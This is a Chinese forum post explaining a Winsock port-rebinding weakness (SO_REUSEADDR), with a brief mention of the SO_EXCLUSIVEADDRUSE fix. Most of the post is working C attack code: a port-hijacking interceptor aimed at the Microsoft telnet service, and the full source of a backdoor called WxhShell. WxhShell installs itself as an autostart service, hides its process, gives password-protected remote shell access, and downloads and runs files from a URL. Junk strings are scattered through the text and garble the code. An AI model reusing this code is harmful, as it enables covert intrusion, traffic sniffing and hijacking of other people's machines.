社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 10973阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: C=-=_>Q,L<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); sXqz+z$*  
-7SAK1c$  
  saddr.sin_family = AF_INET; L]yS[UN$  
#OZ>V3k  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); AWcLUe{  
^0Zf,40  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); K~uXO  
uMUBh 80,L  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 PYQ;``~x  
vp1941P  
  这意味着什么?意味着可以进行如下的攻击: Ltv]pH}YN  
Q[Z8ok  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 xg30x C[  
md=TjMaY  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "Hya6k>j  
w2Us!<x  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Y1L[;)Hn  
DP[IZ C  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  czA5n  
`-.%^eIp  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -#7'r<I9@  
Hfv7LM  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]"r&]qx7  
q6@Lp^f  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $:BKzHmg  
;m0~L=w  
  #include \4&fxe  
  #include .rO]M:UY  
  #include r~E=4oB7  
  #include    fA&k`L(y  
  DWORD WINAPI ClientThread(LPVOID lpParam);   l#m#c6;=  
  int main() N c1"g1JR  
  { %!]@J[*1  
  WORD wVersionRequested; Ld\R:{M"  
  DWORD ret; mkMq  
  WSADATA wsaData; Bu#E9hJFvA  
  BOOL val; cq5jPZ}  
  SOCKADDR_IN saddr; \@WDV  
  SOCKADDR_IN scaddr; 56}U8X  
  int err; O&vVv _zh  
  SOCKET s; DD7h^-x  
  SOCKET sc; BYpG  
  int caddsize; -1 FPkp  
  HANDLE mt; pN!}UqfI-  
  DWORD tid;   u0 P|0\  
  wVersionRequested = MAKEWORD( 2, 2 ); ?@BTGUK"C  
  err = WSAStartup( wVersionRequested, &wsaData ); hwu]Er.gn  
  if ( err != 0 ) { 4 kn|^  
  printf("error!WSAStartup failed!\n"); <_h~w}  
  return -1; 1cxrH+N  
  } zxMX Xm;  
  saddr.sin_family = AF_INET; gaQdG=G8$  
   .+qQYDE w  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;P;-}u  
(XeE2l2M  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3) 8QS  
  saddr.sin_port = htons(23); 0M*Z'n +  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $g/SWq  
  { ~Am,%"%\  
  printf("error!socket failed!\n"); .}^g!jm~h  
  return -1; XJ;D=~  
  } E'G4Y-  
  val = TRUE; 4y)P>c  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ;L cVr13J/  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) t=|evOz]  
  { y6LWx:  
  printf("error!setsockopt failed!\n"); !LggIk1  
  return -1; z,Medw6[  
  } o1Ph~|s*8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; D6%J\C13`  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0>C T=(A  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $@"l#vJPfc  
[f)cL6AeF  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) d^RxQuA  
  { 3 N.~mR  
  ret=GetLastError(); QFw  +cy  
  printf("error!bind failed!\n"); p=;=w_^y  
  return -1; ^?U!pq -`  
  } &Nj3h(Ll  
  listen(s,2); (}a8"]Z  
  while(1) ^=T$&gD  
  { ^c<ucv6.  
  caddsize = sizeof(scaddr); 0KYEb%44  
  //接受连接请求 qm./|#m>  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); WfWN(:dF  
  if(sc!=INVALID_SOCKET) D&/kCi=R  
  { s8-<m,*  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); V"*O=h  
  if(mt==NULL) )\_:{c  
  { r YogW!  
  printf("Thread Creat Failed!\n"); M*z~gOZ  
  break; e}Cif2#d~  
  } (5#nrF]  
  } i;NUAmx  
  CloseHandle(mt); f47Od-\-  
  } qDv93  
  closesocket(s); IOb*GTb  
  WSACleanup(); c\iA89msp  
  return 0; T,]7ICF#  
  }   0uWR<,]  
  DWORD WINAPI ClientThread(LPVOID lpParam) %1H[Wh(U  
  { q<\,  
  SOCKET ss = (SOCKET)lpParam; U'8bdsF_  
  SOCKET sc; (5R?#vj  
  unsigned char buf[4096]; Av"R[)  
  SOCKADDR_IN saddr; QrfG^GID  
  long num; f#?fxUH~  
  DWORD val; n;(\5{a  
  DWORD ret; <%maDM^_\(  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ZT,B(#m  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @\0Eu212  
  saddr.sin_family = AF_INET; 9A} # 6  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); I2 j}Am  
  saddr.sin_port = htons(23); q8s0AN'@t'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7bk%mQk  
  { b+@JY2dvj  
  printf("error!socket failed!\n"); F_;vO%}  
  return -1; LUuZ9$t0J"  
  } ,_yh z0.  
  val = 100; c%&: 6QniZ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) : y5<go8e  
  { *8#i$w11M  
  ret = GetLastError(); >Y #t`6,!  
  return -1; NbC@z9Q  
  } s0DGC  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }&n<uUDH  
  { i|T)p_y(!a  
  ret = GetLastError(); UG)8D5  
  return -1; 3H|_mX  
  } 3 |hHR  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) } w 5l  
  { ix(=3 /Dgz  
  printf("error!socket connect failed!\n"); J]&y$?C  
  closesocket(sc); `t_W2y   
  closesocket(ss); T9]HGB{  
  return -1; blTo5NLX  
  } 7PANtCFb&  
  while(1) E}sO[wNPf  
  { "\}@gV#r$A  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4eikLRD,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 zgs(Dt;  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 G8r``{C!  
  num = recv(ss,buf,4096,0); q o\?o    
  if(num>0) Xlb0/T<g!  
  send(sc,buf,num,0); ,Fi>p0bz  
  else if(num==0) N 5i+3&  
  break; M@?xa/E64  
  num = recv(sc,buf,4096,0); w9, iq@  
  if(num>0) 2I&o69x?  
  send(ss,buf,num,0); EI:w aIr  
  else if(num==0) Yc,7tUz#  
  break; #|*F1K  
  } o>7ts&rk  
  closesocket(ss); B<~ NS)w  
  closesocket(sc); {K9/H qH  
  return 0 ; rMUT_^  
  } U7I qST  
|37 g ~  
Hd,p!_  
========================================================== 'JNElXqrv  
u%/goxA  
下边附上一个代码,,WXhSHELL u$-U*r  
IdXZoY  
========================================================== ppFe-wY  
lKlU-4  
#include "stdafx.h" T'LIrf  
K^ B%/T]d  
#include <stdio.h> TpHfS]W-P  
#include <string.h> de>v  
#include <windows.h> z,VD=Hnz  
#include <winsock2.h> Ma+$g1$  
#include <winsvc.h> h+aS4Q&  
#include <urlmon.h> ' 4E R00  
!}4MN:r  
#pragma comment (lib, "Ws2_32.lib") T}4/0yR2  
#pragma comment (lib, "urlmon.lib") +e-G,%>9  
6<$Odd  
#define MAX_USER   100 // 最大客户端连接数 c7M%xGrP  
#define BUF_SOCK   200 // sock buffer ?gwUwOV"  
#define KEY_BUFF   255 // 输入 buffer 7{xh8#m  
!YP@m~  
#define REBOOT     0   // 重启 RKPD4e>%  
#define SHUTDOWN   1   // 关机 wN2QK6Oc  
5* 0y7K/D  
#define DEF_PORT   5000 // 监听端口 %/>Y/!;  
]>+PnP35G  
#define REG_LEN     16   // 注册表键长度 F*.g;So  
#define SVC_LEN     80   // NT服务名长度 aDehqP6vf  
JMVNmq&0  
// 从dll定义API '(dz"PL.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gd0Vp Xf'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~u.T-0F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); TO-nD>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); YFTjPBV  
sF7^qrVQP9  
// wxhshell配置信息 nwN@DqO  
struct WSCFG { @o-B{ EH8  
  int ws_port;         // 监听端口 -_<}$9lz  
  char ws_passstr[REG_LEN]; // 口令 HXoX  
  int ws_autoins;       // 安装标记, 1=yes 0=no /RyR>G!  
  char ws_regname[REG_LEN]; // 注册表键名 r@{~ 5&L  
  char ws_svcname[REG_LEN]; // 服务名 Ed:eGm }  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 HBY.DCN[Z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 XTd3|Pm  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T<I=%P)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'oN\hy($,h  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" TI !a)X  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XK"-'  
?X-)J=XG  
}; z`Hy'{1  
1RKW2RCaW_  
// default Wxhshell configuration gt\MS;jMa  
struct WSCFG wscfg={DEF_PORT, \3Q&~j  
    "xuhuanlingzhe", (n1Bh~R^  
    1, jt@SZI`  
    "Wxhshell", [|~2X>  
    "Wxhshell", @vMA=v7a  
            "WxhShell Service", L.T?}o  
    "Wrsky Windows CmdShell Service", N-g8}03  
    "Please Input Your Password: ", BI:k#jO!  
  1, TM8 =U-A  
  "http://www.wrsky.com/wxhshell.exe", ~w</!s  
  "Wxhshell.exe" {}o>{&X  
    }; JxjI]SF02  
,+;:3gRk9  
// 消息定义模块 D{v8q)5r  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >2 3-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >\ u<&>i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \7z^!m  
char *msg_ws_ext="\n\rExit."; j$da8] !  
char *msg_ws_end="\n\rQuit."; K\^ 0_F K  
char *msg_ws_boot="\n\rReboot..."; jEz+1Nl)  
char *msg_ws_poff="\n\rShutdown..."; iU+nqY'  
char *msg_ws_down="\n\rSave to "; |xoF49  
H +bdsk  
char *msg_ws_err="\n\rErr!"; Gq#~vr  
char *msg_ws_ok="\n\rOK!"; W2;N<[wa<u  
XI Jlc~2  
char ExeFile[MAX_PATH]; ?8, %LIQ?  
int nUser = 0; ZAuWx@}  
HANDLE handles[MAX_USER]; '<iK*[NW  
int OsIsNt; to"' By{9  
}%TSGC4{  
SERVICE_STATUS       serviceStatus; Q>qFM9Z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6+K_Z\  
fU2qrcVu  
// 函数声明 mgZf3?,)  
int Install(void); qP*}.Sqk7  
int Uninstall(void); 0(8H;T  
int DownloadFile(char *sURL, SOCKET wsh); ":Edu,6O  
int Boot(int flag); ~n!!jM:N  
void HideProc(void); (IbW; bV  
int GetOsVer(void); KyP)Qzp  
int Wxhshell(SOCKET wsl); 8 iC:xcN3  
void TalkWithClient(void *cs); 5wC* ?>/  
int CmdShell(SOCKET sock); s|bM%!$1  
int StartFromService(void); W&"|}Pi/  
int StartWxhshell(LPSTR lpCmdLine); '[P}&<ie,  
nL]^$J$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T_<BVM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /"qcl7F  
?lCd{14Mkh  
// 数据结构和表定义 ! o, 5h|\  
SERVICE_TABLE_ENTRY DispatchTable[] = C.!_]Pxs  
{ 2_QN&o ~h  
{wscfg.ws_svcname, NTServiceMain}, Ix DWJ#k  
{NULL, NULL} K_-d(  
}; gd@p|PsS^  
BRG|Asg(  
// 自我安装 YJ7V`N p  
int Install(void) $<)Yyi>6E  
{ }UyQ#U  
  char svExeFile[MAX_PATH]; K7vw3UwGN  
  HKEY key; Md; /nJO~{  
  strcpy(svExeFile,ExeFile); \ SCy$,m  
1ywU@].6J]  
// 如果是win9x系统,修改注册表设为自启动 QYE7p\  
if(!OsIsNt) { QBE@(2G}C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U!q[e`B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ln#a<Rx.E7  
  RegCloseKey(key); @y~P&HUN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vrl[BPI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sJr5t?  
  RegCloseKey(key); X.|Ygx  
  return 0; >X Qv?5  
    } {0jIY  
  } yDd[e]zS`  
} W5DbFSgB  
else { =LH}YUmd  
q7]>i!A  
// 如果是NT以上系统,安装为系统服务 f$xhb3Qn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !)H*r|*[  
if (schSCManager!=0) ML!9:vz  
{ I ,FqN}  
  SC_HANDLE schService = CreateService ?s{C//  
  ( =q CF%~  
  schSCManager, pz}mF D&[  
  wscfg.ws_svcname, Etnb3<^[t  
  wscfg.ws_svcdisp, H*!5e0~rR  
  SERVICE_ALL_ACCESS, A]y*so!)>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Gi$gtLtN h  
  SERVICE_AUTO_START, }ymvC  
  SERVICE_ERROR_NORMAL, F,Fo}YQX  
  svExeFile, B\<ydN  
  NULL, -Ds|qzrN%  
  NULL, Sb<\-O14"  
  NULL, pzEABA   
  NULL, 1$["79k  
  NULL yz)ESQ~va  
  ); D9,! %7i  
  if (schService!=0) {rGYRn,  
  { ?V+wjw  
  CloseServiceHandle(schService); ofwQ:0@  
  CloseServiceHandle(schSCManager); p?Sl}A@`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Qb@eK$wo}  
  strcat(svExeFile,wscfg.ws_svcname); %h*5xB]Tt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /?3:X *  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); AVpuMNd@  
  RegCloseKey(key); 8tZ} ;="F  
  return 0; >(tO QeN  
    } &:8T$U V  
  } y&rY0bm  
  CloseServiceHandle(schSCManager); u9>6|w+  
} G2@KI-  
} V4?Oc2mS  
FW^.m?}|  
return 1; AF[>fMI  
} +!$dO'0nt,  
zlMlMyG4  
// 自我卸载 u%aFb*  
int Uninstall(void) Ki 3_N*z  
{ $[Q cEk  
  HKEY key; PN9^[X  
z[biK|YL  
if(!OsIsNt) { *.dKR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >Fh#DmQ  
  RegDeleteValue(key,wscfg.ws_regname); IDmsz  
  RegCloseKey(key); |$Xf;N37t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X!7Xg  
  RegDeleteValue(key,wscfg.ws_regname); thQ J(w  
  RegCloseKey(key); 0%;M VMH  
  return 0; g 2#F_  
  }  3se$,QmN  
} LO}z)j~W  
} %%x0w^  
else { nr<.YeJ  
cl2ze  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); TRCI\  
if (schSCManager!=0) |P~q/Wff  
{ X=#It&m%s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u m{e&5jk  
  if (schService!=0) nO}$ 76*'0  
  { mOSCkp{<e  
  if(DeleteService(schService)!=0) { W%H]Uyt  
  CloseServiceHandle(schService); z^9E;  
  CloseServiceHandle(schSCManager); ~RCg.&[ou  
  return 0; ,aYU$~o#  
  } *CT.G'bQX  
  CloseServiceHandle(schService); 1zR/HT  
  } n8Q* _?Z/  
  CloseServiceHandle(schSCManager); vQcUaPm\$  
} ?}v}U^  
} m"q/,}DR  
N@}gLBf  
return 1; h\2}875  
} >0 7shNX  
n'Bmz  
// 从指定url下载文件 !&\meS{  
int DownloadFile(char *sURL, SOCKET wsh) bbO+%-(X  
{ r /^'Xj'(  
  HRESULT hr; R^|!^[WE  
char seps[]= "/"; (A2U~j?Ry}  
char *token; l-Fmn/V  
char *file; { q})kO  
char myURL[MAX_PATH]; MHGjvSx  
char myFILE[MAX_PATH]; *J.c $1#h  
y>%W;r)  
strcpy(myURL,sURL); |E? ,xWN  
  token=strtok(myURL,seps); fHLFeSfH  
  while(token!=NULL) *-{Omqw  
  { 6(,ItMbI  
    file=token; zv`zsqDJ  
  token=strtok(NULL,seps); ;r%<2(  
  }  Ls lM$  
2$iw/ r  
GetCurrentDirectory(MAX_PATH,myFILE); f>|9 l  
strcat(myFILE, "\\"); 8 H,_vf  
strcat(myFILE, file); 6|%^pjX5  
  send(wsh,myFILE,strlen(myFILE),0); |G>q:]+AV  
send(wsh,"...",3,0); )_X;9%L7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); PnI)n=(\  
  if(hr==S_OK) mf+K{y,L  
return 0; -6(h@F%E  
else gQu\[e%mVo  
return 1; <.;@ksCPW{  
 fF\*v  
} Fp wlV}:  
>3<&V{<K  
// 系统电源模块 EPQ&?[6  
int Boot(int flag) -Mr{+pf  
{ ?SHc}iaU#  
  HANDLE hToken; E=$7ieW  
  TOKEN_PRIVILEGES tkp; H't`Q&]a  
B .{8/.4  
  if(OsIsNt) { J,CJPUf&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ZJ;wRd@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U{j5kX  
    tkp.PrivilegeCount = 1; 40`9t Xn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; aa%Yk"V @  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 95_[r$C  
if(flag==REBOOT) { gvow\9{|C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }Z~pfm_S  
  return 0; s@*,r@<  
} s^{{@O.  
else { V2WUM+`uT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Dx9$H++6$X  
  return 0; 'p4da2%  
} YzforM^F  
  } l4R<`b\Jt  
  else { dVY(V&p  
if(flag==REBOOT) { #n6FQ$l8m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _47j9m]f  
  return 0; f(@"[-[  
} EhmUX@k],  
else { *!wO:< -  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) N,'[:{GOY  
  return 0; iA1;k*) q  
} .(gT+5[  
} hIE%-gZ/  
LZZ:P  
return 1; FVvv   
} U{U:8==  
UIm[DYMS  
// win9x进程隐藏模块 3. K{T  
void HideProc(void) [F BCz>  
{ <IHFD^3|j  
auyKLT3C  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =2vMw]  
  if ( hKernel != NULL ) c"QkE*  
  { buxI-wv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /I`bh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )$Dcrrj  
    FreeLibrary(hKernel); T?p`Y| gl  
  } a@V/sh  
\h'E5LO  
return; c],frhmyd  
} GP7) m  
,:dEEL+>c  
// 获取操作系统版本 6iV"Tl{z-  
int GetOsVer(void) #<PA- y  
{ ftI+#0?[!  
  OSVERSIONINFO winfo; x(/@Pt2B  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =|WV^0=S'%  
  GetVersionEx(&winfo); ou,=MpXx*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bsk=9K2_2t  
  return 1; _ \y0 mc4  
  else E;GR;i{t  
  return 0; EV?47\ ~  
} R6WgA@Z|r  
h<^:Nn  
// 客户端句柄模块 u6S0t?Udap  
int Wxhshell(SOCKET wsl) / Vm}+"BCS  
{ ,;=( )-  
  SOCKET wsh; a@_Cx  
  struct sockaddr_in client; Oih2UrF  
  DWORD myID; v<J;S9u=  
F#}1{$)% /  
  while(nUser<MAX_USER) j~L1~@  
{ ]htZ!; 8J  
  int nSize=sizeof(client); ch,Zk )y:_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >2Qqa;nx|  
  if(wsh==INVALID_SOCKET) return 1; `d|bH; w  
y!6:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `j!2uRFe>  
if(handles[nUser]==0) l;Wy,?p  
  closesocket(wsh); WO(&<(?  
else kW2nrkF  
  nUser++; |gRgQGeB  
  } 9X {nJ"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,8"[ /@  
ME10dr  
  return 0; ks#Z~6+3  
} !|:q@|- %@  
$@qs(Xwr  
// 关闭 socket 6[h$r/GXh"  
void CloseIt(SOCKET wsh) {|J2clL  
{ wAOVH].  
closesocket(wsh); z vylL M  
nUser--; }B '*8^S  
ExitThread(0); %1?V6&  
} *JC{G^|Y  
>'TD?@sr  
// 客户端请求句柄 7f Tg97eF  
void TalkWithClient(void *cs) 7@cvy? v{  
{ 7(g&z%  
2SPFjpG8n  
  SOCKET wsh=(SOCKET)cs; 0G\myv  
  char pwd[SVC_LEN]; r=H\4%P4  
  char cmd[KEY_BUFF]; cYwC,\ uF  
char chr[1]; n25tr'=  
int i,j; 4Z~Dxo  
4x{ti5Y0  
  while (nUser < MAX_USER) { jKV?!~/F  
Cbg#Yz~/  
if(wscfg.ws_passstr) { ZFuJ2 :  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s&`XK$p  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *n_4Rr  
  //ZeroMemory(pwd,KEY_BUFF); 0#/ 6P&6  
      i=0; O#5( U. E  
  while(i<SVC_LEN) { )zt4'b\)v  
TIh zMW\/K  
  // 设置超时 Y4qyy\}  
  fd_set FdRead; r4ttEJ-jG  
  struct timeval TimeOut; 10 H!  
  FD_ZERO(&FdRead); LqsJHG  
  FD_SET(wsh,&FdRead); sfPN\^k2  
  TimeOut.tv_sec=8; 7-IeJ6,D  
  TimeOut.tv_usec=0; pvUoed\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); N_Ld,J%g  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); OLup`~  
;/q6^Nk3A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  de47O  
  pwd=chr[0]; vGHYB1=~  
  if(chr[0]==0xd || chr[0]==0xa) { Tn-]0hWkP  
  pwd=0; "[S 6w  
  break; "I FGW4FnL  
  } '0$[Ujc  
  i++; %ys}Q!gR  
    }  iPO S  
~WXxVm*@  
  // 如果是非法用户,关闭 socket rg/vxTl  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S)|b%mVwR  
} H^:|`T|,  
ucPMT0k  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2B dr#qr  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $-fY8V3[  
&)jZ|Q~  
while(1) { 1W<_5 j_  
mxA )r5sx  
  ZeroMemory(cmd,KEY_BUFF); wu&7#![,  
4yv31QG$  
      // 自动支持客户端 telnet标准   `3oP^#  
  j=0; A_|FsQ6$P  
  while(j<KEY_BUFF) { JHH&@Cn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zL8A?G)= M  
  cmd[j]=chr[0]; [V0h9!  
  if(chr[0]==0xa || chr[0]==0xd) { !r0P\  
  cmd[j]=0; @0'|Uygn  
  break; H H3  
  } 7"i*J6y*  
  j++; (k&aD2PH  
    } -V<"Ay  
Vnb#N4vR  
  // 下载文件 .Kwl8xRg  
  if(strstr(cmd,"http://")) { L]<4{8H.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); jpv,0(  
  if(DownloadFile(cmd,wsh))  U~t(YT  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ RBwT  
  else c%.& F  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ? d\8Q't*  
  } \"Iy <zG  
  else { *$D-6}Oay  
nTKfwIeg5  
    switch(cmd[0]) { 1_lL?S3,a@  
  ayp}TYh*  
  // 帮助 Q4q#/z  
  case '?': { !F)oX7"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @CF4:NNHw  
    break; p]4 sN  
  } */E{s?  
  // 安装 BUyA]  
  case 'i': { m@~x*+Iz  
    if(Install()) (Lnh> '2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d*L'`BBsp  
    else y9)",G!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N<99K!   
    break; >k|[U[@  
    } jq{Ix  
  // 卸载 EA.U>5Fq  
  case 'r': { ,-)1)R\.  
    if(Uninstall()) A4' aB0^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5Y^ YKV{  
    else gzF&7trN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6! 'Xo:p  
    break; I]X<L2  
    } y e'5 A   
  // 显示 wxhshell 所在路径 :xCobMs_/  
  case 'p': { p~IvkW>ln)  
    char svExeFile[MAX_PATH]; gp=0;#4 4  
    strcpy(svExeFile,"\n\r"); v*3:8Y,  
      strcat(svExeFile,ExeFile); 2uVm?nm  
        send(wsh,svExeFile,strlen(svExeFile),0); ZV;yXLx|  
    break; hM}2++V  
    } vaL-Mi(_  
  // 重启 7|rT*-Ia  
  case 'b': { -eTGRr  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d@hJ=-4  
    if(Boot(REBOOT)) t At+5H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >nX'RE|F  
    else { LKa_ofY  
    closesocket(wsh); *?{)i~  
    ExitThread(0); ;q Z2V  
    } yrw!b\  
    break; ( C&f~U  
